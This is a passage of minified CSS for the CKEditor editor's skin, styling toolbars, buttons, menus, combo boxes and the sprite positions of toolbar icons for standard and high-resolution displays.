rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl 